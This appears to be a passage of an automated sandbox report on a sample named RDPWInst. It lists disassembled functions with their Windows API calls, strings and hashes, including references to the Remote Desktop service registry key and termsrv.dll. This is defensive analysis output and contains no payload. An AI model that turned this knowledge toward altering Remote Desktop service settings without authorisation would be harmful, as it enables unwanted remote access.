WideCharToMultiByte.KERNEL32(00000001,00000000,?,00000000,00000000,00000000,00000000,00000000,00000400,00000000,00413571), ref: 004134AD
WideCharToMultiByte.KERNEL32(00000001,00000000,?,00000000,?,00000000,00000000,00000000), ref: 004134E0
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000,?,00000000,00000000,00000000), ref: 004134F2
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000,?,00000000,00000000,00000000), ref: 004134F8
GetStdHandle.KERNEL32(000000F4,0041358C,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000,?), ref: 0041350C
WriteFile.KERNEL32(00000000,000000F4,0041358C,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000), ref: 00413512
LoadStringW.USER32(00000000,0000FFE6,?,00000040), ref: 00413536
MessageBoxW.USER32(00000000,?,?,00002010), ref: 00413550

Strings

$sD, xrefs: 0041348A
(4A, xrefs: 004134BD, 00413565
LpD, xrefs: 0041347C

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: File$ByteCharHandleLoadModuleMultiNameStringWideWrite$MessageQueryVirtual
String ID: $sD$(4A$LpD
API String ID: 135118572-2961882766
Opcode ID: b1b80ecb5956461e4b881ed504ca6201c56dd4012f9b0e7eae4b86507d2a61a1
Instruction ID: ef224b53181cf2408eecbf6e4a49f74db113686e973540ee16aa2e1e81a8a81f
Opcode Fuzzy Hash: b1b80ecb5956461e4b881ed504ca6201c56dd4012f9b0e7eae4b86507d2a61a1
Instruction Fuzzy Hash: E4315E71640204BEE710EBA5DC82FDA73BDEB05B05F50417AB604F61D1DE78AE808B69

Function 00409E82 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 183libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 00409F3F
GetLastError.KERNEL32(?), ref: 00409F4A
RaiseException.KERNEL32(C0FB007E,00000000,00000001,?), ref: 00409F80
EnterCriticalSection.KERNEL32(00449C1C), ref: 00409F92
FreeLibrary.KERNEL32(?,00449C1C), ref: 00409FAA
LeaveCriticalSection.KERNEL32(00449C1C,?,00449C1C), ref: 00409FB7
GetProcAddress.KERNEL32(?,?), ref: 0040A026
GetLastError.KERNEL32 ref: 0040A031
RaiseException.KERNEL32(C0FB007F,00000000,00000001,?), ref: 0040A067

Part of subcall function 00409D9C: LocalAlloc.KERNEL32(00000040,00000008), ref: 00409DA8
Part of subcall function 00409D9C: RaiseException.KERNEL32(C0FB0008,00000000,00000001,?,00000040,00000008), ref: 00409DBD

Strings

$, xrefs: 00409E9E

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ExceptionRaise$CriticalErrorLastLibrarySection$AddressAllocEnterFreeLeaveLoadLocalProc
String ID: $
API String ID: 4255670546-3993045852
Opcode ID: 08a0a7318c753487ffaddfe208f10df44aed4acf1db62cc8abab006cc3ed4991
Instruction ID: e7bef61209e92d946731ec4a4071e7a79c0b4aa0f4738c46576ebf8cfa3b661b
Opcode Fuzzy Hash: 08a0a7318c753487ffaddfe208f10df44aed4acf1db62cc8abab006cc3ed4991
Instruction Fuzzy Hash: EE618D7590070AAFDB21DFA5D885BAFB3B4AF48314F14803AE504B62D2D7789D44CB59

Function 00403B64 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 277windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,004026E0,00002010), ref: 00403F39

Strings

7, xrefs: 00403CDC
l&@, xrefs: 00403EA7, 00403EB5
D&@, xrefs: 00403D42, 00403D50
, xrefs: 00403E72
&@, xrefs: 00403F2A
$zD, xrefs: 00403C43
$zD, xrefs: 00403BB6
zPD, xrefs: 00403CE6

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Message
String ID: $$zD$$zD$7$D&@$l&@$zPD$&@
API String ID: 2030045667-2939321579
Opcode ID: fc4d6aa325ebee328d8d0a4eacd8edc52d624fa8d19bb34694b2db134725d9d3
Instruction ID: 997706f527e00cc568bc624ae0a330c29571725258f71f9dd8560831bc4d878f
Opcode Fuzzy Hash: fc4d6aa325ebee328d8d0a4eacd8edc52d624fa8d19bb34694b2db134725d9d3
Instruction Fuzzy Hash: E5B1B434A042548FDB20DF2DC884B997BE8AB09745F1441FAE449F7382CB799E85CB59

Function 00415198 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 203threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,00415476,?,?,00000000,00000000), ref: 004151CE

Part of subcall function 00412C4C: GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

Strings

AMPM , xrefs: 00415401
m/d/yy, xrefs: 004152A6
AMPM, xrefs: 004153F2
:mm:ss, xrefs: 0041542E
mmmm d, yyyy, xrefs: 004152D3
:mm, xrefs: 00415411

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: 4a29d05eb48406c99d8d70e3cc1c652b0ba952fed9bde6c231d4620e19fd4c29
Instruction ID: d9a4c13083f090c9220c38b115c8470d0dd0b24888f81dbd48f38483d2476b95
Opcode Fuzzy Hash: 4a29d05eb48406c99d8d70e3cc1c652b0ba952fed9bde6c231d4620e19fd4c29
Instruction Fuzzy Hash: C6717E34B005489BDB04EBA5C881BDF73A6DB88308F50843BB201EB39ADA3DDD95975C

Function 0041983C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 004198D5
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 004198F1
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 0041992A
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 004199A7
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 004199C0
VariantCopy.OLEAUT32(?), ref: 004199F5

Strings

, xrefs: 00419856

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-3916222277
Opcode ID: 73a745a2ba0fcdb29b417b5ebc4a60c480dc22ae13af212b94654390cab902c0
Instruction ID: 05f3e7187411a66581312748be8f4c599b64c7f757b61d9c7bcf5be2e84cfcbc
Opcode Fuzzy Hash: 73a745a2ba0fcdb29b417b5ebc4a60c480dc22ae13af212b94654390cab902c0
Instruction Fuzzy Hash: BB510E75A1061D9BCB62DB59CC91AD9B3BCAF0C314F0041DAE509D7311DA389FC18F69

Function 00406190 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000), ref: 004061C9
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283), ref: 004061CF
GetStdHandle.KERNEL32(000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C), ref: 004061E4
WriteFile.KERNEL32(00000000,000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000), ref: 004061EA
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00406208

Strings

Error, xrefs: 004061FC
Runtime error at 00000000, xrefs: 004061C2, 00406201

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: c76f607bb4b5e88e0da518b266601389a2190e5d150480926aab9b651256bb34
Instruction ID: 3d9f27a079d1a1e85d20769b70378e11af8d5357eb747b9bac5a8d01f7cd0a80
Opcode Fuzzy Hash: c76f607bb4b5e88e0da518b266601389a2190e5d150480926aab9b651256bb34
Instruction Fuzzy Hash: F8F09064688700B9FA1077A09D8BF5A264C5741F18F648A7FBA107C0E3C7FC44C5D66E

Function 00403220 Relevance: 10.9, APIs: 7, Instructions: 407COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc7e807bea1f66438189088f752b6e292b8bc82f638beb9f71fc88f2eaf7a259
Instruction ID: cdb4153b94d32a19bbaa749183bbd41ea1cad44ce1b02117721c392bcbf59f8f
Opcode Fuzzy Hash: dc7e807bea1f66438189088f752b6e292b8bc82f638beb9f71fc88f2eaf7a259
Instruction Fuzzy Hash: AAC149627046001BE715AE7D9EC936E77899BC5326F18827FE504EB3C5DABCCE468348

Function 00408D70 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?), ref: 00408D8D
GetProcAddress.KERNEL32(?,GetLongPathNameW), ref: 00408DA4
lstrcpynW.KERNEL32(?,?,?), ref: 00408DD4
lstrcpynW.KERNEL32(?,?,?,kernel32.dll,?,?,?), ref: 00408E43

Strings

kernel32.dll, xrefs: 00408D88
GetLongPathNameW, xrefs: 00408D9B

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: lstrcpyn$AddressHandleModuleProc
String ID: GetLongPathNameW$kernel32.dll
API String ID: 682285877-568771998
Opcode ID: b8455c5fe78c2c884a1c523d091bd77d655f60f97b2ecbe02dba18575876a37c
Instruction ID: bfed53c75bae09f5f3cffe8e2e1a10a808aab42f40121fe7fe66bb66f29727bd
Opcode Fuzzy Hash: b8455c5fe78c2c884a1c523d091bd77d655f60f97b2ecbe02dba18575876a37c
Instruction Fuzzy Hash: 65213E71D10219EBDB10DBE8CA85A9EB3F9AF04344F14457BA584F72C1EB789E408B99

Function 0043C9B4 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00447324,?,?,00443D51,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043CA09

Strings

$sD, xrefs: 0043CA16
ServiceDll, xrefs: 0043CA58
[-] OpenKey error (code , xrefs: 0043CA1B
\SYSTEM\CurrentControlSet\Services\TermService\Parameters, xrefs: 0043C9F8
%SystemRoot%\System32\termsrv.dll, xrefs: 0043CA53

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: $sD$%SystemRoot%\System32\termsrv.dll$ServiceDll$[-] OpenKey error (code $\SYSTEM\CurrentControlSet\Services\TermService\Parameters
API String ID: 1452528299-1418523706
Opcode ID: d2f311149e027bc2624a0d6677516fc2b3f38769c85f091cbdc9e4c4a7fc29bb
Instruction ID: 567d776bcdb317a1c07dce30fb64d79162ce412928a02d635409720c7dced6b6
Opcode Fuzzy Hash: d2f311149e027bc2624a0d6677516fc2b3f38769c85f091cbdc9e4c4a7fc29bb
Instruction Fuzzy Hash: 5E1160746042049FD700FBAAED8355AB7A5DB89318F21A07FF504AB652CA396D01972D

Function 0043B48C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 52serviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32(00000000,00000000,0043B52C,?,00000000,?,?,0043B6A3,?,00000000,00000000,?,00000000,00000000,00000010,00000000), ref: 0043B4BC
CloseServiceHandle.ADVAPI32(00000000,00000000,0043B52C,?,00000000,?,?,0043B6A3,?,00000000,00000000,?,00000000,00000000,00000010,00000000), ref: 0043B4D1

Strings

$sD, xrefs: 0043B4DC
error (code , xrefs: 0043B4F3
[-] , xrefs: 0043B4E1

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseHandleService
String ID: error (code $$sD$[-]
API String ID: 1725840886-1845222458
Opcode ID: cf70b5b7ebfe22217b52877715410a6f055c53433fc66062313880689f831c28
Instruction ID: e4f6fbb8d87d745fddbbf3aa76ef7c2d42e102f771b0e90c1d198fe2bf5ce7b8
Opcode Fuzzy Hash: cf70b5b7ebfe22217b52877715410a6f055c53433fc66062313880689f831c28
Instruction Fuzzy Hash: 411165B4604204AFD700FBA5C946A5EBBE9EF8C309F51807AF504DB652C738AE409A6D

Function 0041EFE0 Relevance: 7.8, APIs: 5, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd1bd09856875484954c00905d9deca0163cdd4237c815e7c02b6f8489ed4b52
Instruction ID: 2dafaf7b7fd63d2285bbc883fb865dc5d4a09b7d21a303d5748d7aa51e2b097e
Opcode Fuzzy Hash: bd1bd09856875484954c00905d9deca0163cdd4237c815e7c02b6f8489ed4b52
Instruction Fuzzy Hash: 33D18035E042599BCF10DBA9C4818FEB7B9EF49704B5080B7EC51A7251D738AD8BCB29

Function 0042E0CC Relevance: 7.6, APIs: 5, Instructions: 142COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,00000000,0042E26E), ref: 0042E12C
CharNextW.USER32(?,?,00000000,0042E26E), ref: 0042E1D4
CharNextW.USER32(?,?,00000000,0042E26E), ref: 0042E1F9
CharNextW.USER32(00000000,?,?,00000000,0042E26E), ref: 0042E211

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: 7217fcbca270de98ef8b4b4e8b85cbbd9122b6aa6dc92a8c6271a0bfb5eea1bb
Instruction ID: 1814d07402b1a7f57a8d7a3fe8506fdc05c33e5c0032e5bf9772b1ea290cc636
Opcode Fuzzy Hash: 7217fcbca270de98ef8b4b4e8b85cbbd9122b6aa6dc92a8c6271a0bfb5eea1bb
Instruction Fuzzy Hash: D5516D30B00624DFDF15EF6AD890A697BB5EF06304F8100E6E401DB3A5D778AD92CB5A

Function 00412EDC Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,00412F73,?,?,00000000), ref: 00412EF4

Part of subcall function 00412C4C: GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

GetThreadLocale.KERNEL32(00000000,00000004,00000000,00412F73,?,?,00000000), ref: 00412F24
EnumCalendarInfoW.KERNEL32(Function_00012E28,00000000,00000000,00000004,00000000,00412F73,?,?,00000000), ref: 00412F2F
GetThreadLocale.KERNEL32(00000000,00000003,Function_00012E28,00000000,00000000,00000004,00000000,00412F73,?,?,00000000), ref: 00412F4D
EnumCalendarInfoW.KERNEL32(Function_00012E64,00000000,00000000,00000003,Function_00012E28,00000000,00000000,00000004,00000000,00412F73,?,?,00000000), ref: 00412F58

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 55eda0c8fa878099e478bf73f67320f830a82478ca3254b52692bae57d1b1ada
Instruction ID: 92d88662b64aaf91616c62fb6041fad244e46e3b41fee23c13374d6d2d88cd2b
Opcode Fuzzy Hash: 55eda0c8fa878099e478bf73f67320f830a82478ca3254b52692bae57d1b1ada
Instruction Fuzzy Hash: 930142713007046BE301A6B1CE13F9A726CEB82718F610437F100F66C1D6BCAE2192AD

Function 00412F90 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 177threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,004131C3,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412FCB

Part of subcall function 00412C4C: GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

Strings

yyyy, xrefs: 004130FA
eeee, xrefs: 00413116
ggg, xrefs: 004130EA

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: f0e1bd095bade663e8df46e19b5da6729160b75494cb6633c971c77849839ccd
Instruction ID: b43ca61d4524358572b11bc7e7a437c5213401559800a2754e6fdc13831cf262
Opcode Fuzzy Hash: f0e1bd095bade663e8df46e19b5da6729160b75494cb6633c971c77849839ccd
Instruction Fuzzy Hash: 97519835B00105ABDB10EF69C8425DEB7B5EF84305B21807BA401E73AADB7CDF92965D

Function 00412D02 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 107threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,00412E17,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412D20

Strings

|\D, xrefs: 00412DD2
0\D, xrefs: 00412D61
`\D, xrefs: 00412DAD

Memory Dump Source

